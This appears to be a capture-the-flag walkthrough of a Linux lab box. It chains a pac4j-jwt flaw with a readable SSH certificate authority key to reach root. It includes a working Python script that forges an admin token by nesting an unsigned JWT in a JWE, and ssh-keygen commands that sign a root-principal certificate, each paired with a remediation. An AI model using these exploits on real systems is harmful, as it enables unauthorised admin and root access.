← all walkthroughs

Principal

Linux· Medium
owned
2026-09-04
time to own
9m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped a Java/Jetty deployment platform secured by pac4j-jwt and found that its JWE token handling decrypted the outer envelope but never verified the signature of the JSON Web Token nested inside it. By wrapping a self-issued, unsigned JWT (claiming an administrator role) inside a JWE encrypted to the application's own published public key, I forged a token the app accepted as authentic. That token unlocked an internal/admin view that stored a deployment account's SSH password, giving a direct SSH foothold as svc-deploy and the user flag.

On the host, svc-deploy had no usable sudo rights, but was able to read the private key of the SSH Certificate Authority the server trusts. Because the host's sshd was configured to trust any certificate the CA signs without restricting which principal (username) it may claim, I used the stolen CA key to mint a fresh certificate asserting the principal 'root', authenticated to sshd as root with it, and captured the root flag — full compromise from a single crypto trust-boundary flaw exploited twice.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"

Some commands also carry a value in angle brackets — <an-authenticated-admin-route>, <the-forged-token> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceService enumeration and HTTP banner/header fingerprinting
Scanned the host and identified the web technology stack
A port scan of $TARGET found only two open TCP services: SSH (22) and an HTTP service on 8080. Requesting the web root returned a 302 redirect to /login, and response headers identified the server as Jetty running the pac4j-jwt (v6.0.3) authentication library, confirming a Java application secured with JWT/JWE tokens.
22/tcp open ssh, 8080/tcp open http-proxy Jetty; response header X-Powered-By: pac4j-jwt/6.0.3; 302 Location: /login.
Exact commands 2
shell

Full TCP port sweep with service/version detection.

$ nmap -p- -sV -T4 $TARGET
22/tcp open ssh
8080/tcp open http-proxy Jetty
shell

Confirm redirect to /login and read the pac4j-jwt header.

$ curl -ksS -L --max-time 15 --max-redirs 5 -D - -w '\nPTEST_HTTP %{http_code} %{url_effective}\n' http://$TARGET:8080/
2EnumerationClient-side source review / API surface mapping
Reviewed the client-side app bundle to learn the token architecture
The login page and its bundled JavaScript (app.js) documented the client's own authentication flow: credentials are POSTed to /api/auth/login, the server returns a JWE token encrypted with RSA-OAEP-256 + A128GCM, and the corresponding public key is published at /api/auth/jwks 'for token verification'. This told my the app both issues and can be made to accept self-crafted tokens, provided they are validly encrypted to that published key.
App.js comments: 'Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM', 'Public key available at /api/auth/jwks for token verific[ation]'.
Exact commands 3
shell

Fetch the login page/form.

$ curl -sS -i http://$TARGET:8080/login
shell

Pull the client bundle documenting the JWE auth flow.

$ curl -sS http://$TARGET:8080/static/js/app.js
shell

Fetch the app's published JWK(S) used to encrypt/verify tokens.

$ curl -sS http://$TARGET:8080/api/auth/jwks
3ExploitationNested unsigned JWT inside a validly-encrypted JWE (CVE-2026-29000, CWE-347: Improper Verification of Cryptographic Signature)
Forged an admin token by nesting an unsigned JWT inside a valid JWE
Pac4j-jwt's JwtAuthenticator decrypts an incoming JWE and then trusts the JWT nested inside it without independently checking that inner token's signature (CVE-2026-29000). I built an unsigned ('alg: none') JWT asserting an elevated role, then encrypted it as a JWE addressed to the app's own public key from /api/auth/jwks. Because the envelope decrypted correctly, the app accepted the unsigned claims inside as authentic — encryption was mistaken for authentication.
Confirmed finding: 'Initial Access: Nested Unsigned Jwt In Jwe Validation' (Critical) — pac4j-jwt decrypts the JWE but does not verify the nested JWT's signature.
Exact commands 2
shell

Library used to build the JWE envelope.

$ pip install jwcrypto
shell

Save the key from /api/auth/jwks as jwks_key.json first; prints the forged JWE bearer token.

$ python3 - <<'EOF'
import base64, json
from jwcrypto import jwk, jwe

# 1) unsigned inner JWT (alg=none) with an elevated claim
h = base64.urlsafe_b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=')
p = base64.urlsafe_b64encode(json.dumps({"sub":"admin","role":"ADMIN"}).encode()).rstrip(b'=')
inner_jwt = (h + b'.' + p + b'.').decode()

# 2) wrap it in a JWE encrypted to the app's own published public key
pubkey = jwk.JWK.from_json(open('jwks_key.json').read())
token = jwe.JWE(inner_jwt.encode('utf-8'),
                 protected=json.dumps({"alg":"RSA-OAEP-256","enc":"A128GCM","cty":"JWT"}))
token.add_recipient(pubkey)
print(token.serialize(compact=True))
EOF
FixFix pac4j-jwt to verify the signature of the JWT nested inside a JWECritical
WeaknessThe JwtAuthenticator decrypted incoming JWE tokens and trusted the JSON Web Token nested inside without independently verifying its signature, so any party who could encrypt a payload to the app's published public key could assert arbitrary claims, including an administrator role.
FixUpgrade pac4j-jwt to a patched release (or the fixed version addressing CVE-2026-29000) and explicitly configure the authenticator to require and verify a signature (e.g. RS256/ES256) on the nested JWT after JWE decryption — never treat successful decryption alone as proof of authenticity. Reject tokens with alg: none anywhere in the chain.
4Credential AccessPrivileged-view access via forged token; credential harvesting
Used the forged token to reach an internal view and harvest deployment credentials
Presenting the forged admin JWE as a Bearer token unlocked the application's internal/admin-facing view. That view stored operational secrets rather than just controls — specifically a plaintext SSH password for the deployment service account, svc-deploy — which I recorded for reuse.
Exact commands 1
shell

The forged token is accepted on the application's authenticated routes; walk them for the internal view that renders stored credentials.

$ curl -sS -H 'Authorization: Bearer <the-forged-token>' http://$TARGET:8080/<an-authenticated-admin-route>
FixStop storing plaintext operational credentials in an application-accessible viewHigh
WeaknessAn internal/admin view of the platform stored a live SSH password for the svc-deploy service account, so any principal that could reach that view — including one impersonated via a forged token — could pivot straight to a full host shell.
FixRemove stored plaintext credentials from the application; issue deployment access via a secrets manager (e.g. Vault, AWS Secrets Manager) or short-lived, per-session SSH certificates instead of static passwords, and rotate the exposed svc-deploy credential immediately.
5FootholdValid Accounts — SSH (T1078)
Logged in over SSH with the harvested credential and captured user.txt
The harvested password authenticated directly against sshd on port 22 as svc-deploy, giving an interactive shell (uid=1001, groups svc-deploy, deployers) and immediate read access to the user flag.
Exact commands 2
shell

Confirm the harvested credential works.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 svc-deploy@$TARGET id
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
shell

Locate and read the user flag; replace output with <user.txt>.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'find / -name user.txt -type f -readable -exec sh -c "printf \"%s: \" \"\$1\"; cat \"\$1\"" sh {} \; 2>/dev/null'
6Privilege Escalation (Recon)Credential discovery — insecurely stored private key (T1552.004)
Found a group-readable SSH Certificate Authority private key with no principal restrictions
Svc-deploy had no usable sudo rights (sudo -n -l required a password), but the deployers group had read access to the private key of an SSH Certificate Authority at /opt/principal/ssh/ca. The host's sshd trusts certificates signed by this CA, and neither sshd_config nor an AuthorizedPrincipalsFile constrained which username (principal) a CA-signed certificate could claim — meaning any holder of the CA key could mint a certificate for any account, including root.
Sudo -n -l -> 'a password is required'; /opt/principal/ssh/ca readable by the deployers group; no AuthorizedPrincipalsFile restriction found in sshd_config/sshd_config.d.
Exact commands 3
shell

Confirm no passwordless sudo.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'sudo -n -l 2>&1'
shell

Confirm the CA trust configuration and absence of principal restrictions.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'grep -RniE "TrustedUserCAKeys|AuthorizedPrincipalsFile|PermitRootLogin" /etc/ssh/sshd_config /etc/ssh/sshd_config.d 2>/dev/null'
shell

Locate the readable CA private key file.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'find /opt/principal/ssh -maxdepth 3 -type f -readable -printf "%M %u:%g %p\n"'
7Privilege Escalation
Forged a root-principal SSH certificate with the stolen CA key and obtained a root shell
Using the readable CA private key, I generated a fresh ED25519 keypair and had ssh-keygen sign it as a short-lived certificate asserting the principal 'root' — a claim the CA had no restriction against. Authenticating to sshd on localhost with this certificate was accepted as root, since the server only checks that the certificate is validly signed by the trusted CA, not whether the signer was authorized to grant that specific principal.
Certificate: Principals: root, Key ID <withheld>, signed by CA SHA256:bExSfFTUaopPXEM<withheld>; resulting SSH session returned uid=0(root); /root/root.txt read.
Exact commands 2
shell

Generate a keypair on the target and sign it with the CA key as a certificate claiming the principal 'root'. -L prints it back so the principal and validity can be checked before it is used.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'D=$(mktemp -d /tmp/principal-root.XXXXXX); ssh-keygen -q -t ed25519 -f "$D/k" -N ""; ssh-keygen -q -s /opt/principal/ssh/ca -I root-cert -n root -V +52w "$D/k.pub"; ssh-keygen -L -f "$D/k-cert.pub"'
shell

The same remote shell has to mint the certificate and use it: a second ssh invocation is a new shell, where the temporary directory that holds the key does not exist. Authenticate to sshd as root over loopback and read the flag -> <root.txt>

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null svc-deploy@$TARGET 'D=$(mktemp -d /tmp/principal-root.XXXXXX); ssh-keygen -q -t ed25519 -f "$D/k" -N ""; ssh-keygen -q -s /opt/principal/ssh/ca -I root-cert -n root -V +52w "$D/k.pub"; ssh -i "$D/k" -o CertificateFile="$D/k-cert.pub" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@127.0.0.1 "id; cat /root/root.txt"'
uid=0(root)
FixLock down the SSH Certificate Authority key and constrain which principals it may signCritical
WeaknessThe SSH CA's private key was readable by a non-root group (deployers) and sshd was configured to trust any certificate it signs without restricting which username (principal) that certificate may assert, so possession of the key was equivalent to a root credential.
FixRestrict the CA private key to root-only (0600, root:root) and move signing off the host into a dedicated, access-controlled signing service. Configure an AuthorizedPrincipalsFile per account so a certificate is only honored for the specific principal(s) it should be able to claim, and issue certificates with short validity windows and audited Key IDs.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
8080/tcp